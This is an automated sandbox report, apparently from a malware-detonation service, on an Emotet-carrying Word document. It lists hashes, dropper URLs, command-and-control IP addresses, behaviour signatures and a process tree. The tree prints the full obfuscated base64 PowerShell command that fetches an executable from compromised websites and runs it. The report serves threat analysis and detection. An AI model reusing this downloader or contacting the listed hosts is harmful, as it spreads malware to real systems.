Analysis

  • max time kernel
    146s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    19/08/2020, 22:24

General

  • Target
    emotet_e3_2fc56ee5347ed1b4ccad0bc19cb9e09bac40d9fb5bc0accb8bab80a2eb7d86bd_2020-08-19__222305._doc.doc
  • Size 200KB
  • Sample200819-ldafba9w9a
  • SHA256 2fc56ee5347ed1b4ccad0bc19cb9e09bac40d9fb5bc0accb8bab80a2eb7d86bd
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://cahayu.id/wp-includes/jSi7Fd1r2wtg64969/

  • exe.dropper

    https://anhung1102.vn/wp-admin/LtirUcNdN/

  • exe.dropper

    https://idan-online.co.il/wp-admin/PPf124q2l26832/

  • exe.dropper

    http://www.canfrec.com.mx/4swBvrmkkp/VqcoomQpd/

  • exe.dropper

    http://dhartiproject.mysquare.in/temp/ZJd8p5u49737132/

  • exe.dropper

    https://lokeshullamkecskemet.hu/mail/Jnilw/

  • exe.dropper

    http://armonimalatya.com/dermatomic/77qo1g74024/

Extracted

Family
  • emotet

C2
  • 173.94.215.84:80

  • 85.25.207.108:8080

  • 178.128.14.92:8080

  • 60.125.114.64:443

  • 181.126.54.234:80

  • 157.7.164.178:8081

  • 95.216.205.155:8080

  • 216.75.37.196:8080

  • 179.62.238.49:80

  • 71.57.180.213:80

  • 172.96.190.154:8080

  • 112.78.142.170:80

  • 178.238.232.46:443

  • 177.144.130.105:443

  • 105.209.235.113:8080

  • 46.105.131.68:8080

  • 185.86.148.68:443

  • 143.95.101.72:8080

  • 75.127.14.170:8080

  • 168.0.97.6:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_2fc56ee5347ed1b4ccad0bc19cb9e09bac40d9fb5bc0accb8bab80a2eb7d86bd_2020-08-19__222305._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3948
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABaAG4AZgA3AG4AYgBrAD0AKAAnAEQAZwA1ACcAKwAnAHUAJwArACcAaQBkADYAJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgB0AEUAbQBQAFwATwBGAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAdQByAEkAVAB5AGAAUAByAGAAbwBUAE8AYwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAyACwAIAB0ACcAKwAnAGwAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQA7ACQAUABnAGIAdQB1AHkAcQAgAD0AIAAoACcAUgA1ACcAKwAnAG0AcwBwAHoAbQAnACkAOwAkAEEAMAB2ADcAawBzAGwAPQAoACcARgAnACsAJwBrAHYAYQBkACcAKwAnADIAdgAnACkAOwAkAFYAaABkAGYAZABuAF8APQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9ACcAKwAnAE8AZgBmAGkAJwArACcAYwBlADIAMAAxADkAewAwAH0AJwApAC0ARgBbAGMAaABBAHIAXQA5ADIAKQArACQAUABnAGIAdQB1AHkAcQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAWAA0AGEAOQB1AHAAXwA9ACgAJwBJAHYAJwArACcANwAyAGwAMAAyACcAKQA7ACQAUwBqADQAZwB6AHQANQA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgBXAEUAQgBjAGwASQBlAG4AVAA7ACQAUwBhAGcAZwBjAG0AYgA9ACgAJwBoAHQAJwArACcAdAAnACsAJwBwADoALwAvAGMAYQBoAGEAeQAnACsAJwB1AC4AaQBkAC8AdwBwAC0AaQBuAGMAbAAnACsAJwB1ACcAKwAnAGQAZQBzAC8AagBTAGkANwBGAGQAMQByADIAJwArACcAdwB0AGcANgAnACsAJwA0ADkANgA5AC8AKgBoAHQAJwArACcAdABwAHMAOgAvAC8AJwArACcAYQBuAGgAJwArACcAdQBuAGcAJwArACcAMQAxACcAKwAnADAAMgAuAHYAbgAvAHcAJwArACcAcAAtAGEAZABtAGkAbgAvAEwAdABpAHIAVQBjACcAKwAnAE4AZABOAC8AKgBoACcAKwAnAHQAdABwAHMAOgAvAC8AaQBkACcAKwAnAGEAbgAtAG8AbgAnACsAJwBsAGkAbgAnACsAJwBlAC4AYwBvAC4AaQBsAC8AdwBwAC0AYQBkAG0AJwArACcAaQBuAC8AJwArACcAUABQAGYAMQAyADQAcQAyAGwAMgA2ADgAMwAnACsAJwAyAC8AKgBoAHQAJwArACcAdABwADoALwAvAHcAdwB3AC4AJwArACcAYwBhAG4AZgByAGUAYwAuAGMAbwBtACcAKwAnAC4AJwArACcAbQB4AC8ANABzAHcAQgB2AHIAbQBrAGsAcAAnACsAJwAvAFYAcQBjAG8AbwBtAFEAcABkAC8AKgBoACcAKwAnAHQAdAAnACsAJwBwADoALwAnACsAJwAvACcAKwAnAGQAaABhAHIAdABpAHAAcgBvAGoAZQBjAHQALgBtAHkAJwArACcAcwAnACsAJwBxAHUAYQByAGUALgAnACsAJwBpAG4ALwB0ACcAKwAnAGUAbQBwAC8AWgBKAGQAOABwADUAdQA0ADkANwAzADcAMQAnACsAJwAzADIALwAnACsAJwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6AC8AJwArACcALwBsAG8AawBlAHMAaAAnACsAJwB1AGwAJwArACcAbABhACcAKwAnAG0AawAnACsAJwBlAGMAJwArACcAcwAnACsAJwBrAGUAbQBlAHQALgBoAHUALwBtACcAKwAnAGEAaQAnACsAJwBsAC8ASgBuAGkAbAB3AC8AKgBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAvAGEAcgBtACcAKwAnAG8AJwArACcAbgBpAG0AJwArACcAYQAnACsAJwBsAGEAJwArACcAdAB5AGEALgBjACcAKwAnAG8AbQAnACsAJwAvAGQAZQByACcAKwAnAG0AYQB0AG8AJwArACcAbQBpAGMALwA3ACcAKwAnADcAcQAnACsAJwBvACcAKwAnADEAZwA3ADQAMAAyADQAJwArACcALwAnACkALgAiAFMAUABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQA0ADYAcAByAHAAXwA9ACgAJwBXAG4AbgA5ACcAKwAnAHQAJwArACcANQBvACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEMAeQBxAHUAbwBpAHcAIABpAG4AIAAkAFMAYQBnAGcAYwBtAGIAKQB7AHQAcgB5AHsAJABTAGoANABnAHoAdAA1AC4AIgBkAE8AdwBgAE4AbABvAGEARABgAEYAaQBsAGUAIgAoACQAQwB5AHEAdQBvAGkAdwAsACAAJABWAGgAZABmAGQAbgBfACkAOwAkAEcAdQB1AHgAeQBwADQAPQAoACcAWgAnACsAJwBiAHQAMQB4AHUAJwArACcAZQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAVgBoAGQAZgBkAG4AXwApAC4AIgBsAEUAbgBgAEcAVABoACIAIAAtAGcAZQAgADIANQAwADEAMQApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABWAGgAZABmAGQAbgBfACkAOwAkAEgAXwBsADgAZwBsAHMAPQAoACcASgAnACsAJwBjAGcAYwBiAF8AcwAnACkAOwBiAHIAZQBhAGsAOwAkAFkAcgAyAG8AZQB4AHgAPQAoACcARgBxAHAANwBqAGEAJwArACcAbAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAcABqADYAYwBhAGQAPQAoACcAQgA1AGsAJwArACcAbQB3AHUAOQAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:740
    • C:\Users\Admin\AppData\Local\Temp\Office2019\R5mspzm.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\R5mspzm.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3812
      • C:\Windows\SysWOW64\winbio\twinui.exe
        "C:\Windows\SysWOW64\winbio\twinui.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2148

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/740-10-0x00007FF8F9B10000-0x00007FF8FA4FC000-memory.dmp

        memory/740-11-0x0000013CEF4C0000-0x0000013CEF4C1000-memory.dmp

        memory/740-12-0x0000013CEF6B0000-0x0000013CEF6B1000-memory.dmp

        memory/2148-19-0x0000000000610000-0x000000000061C000-memory.dmp

        memory/3812-16-0x0000000000750000-0x000000000075C000-memory.dmp

        memory/3948-0-0x00007FF901DC0000-0x00007FF902486000-memory.dmp

        memory/3948-4-0x000001D5A30FB000-0x000001D5A3104000-memory.dmp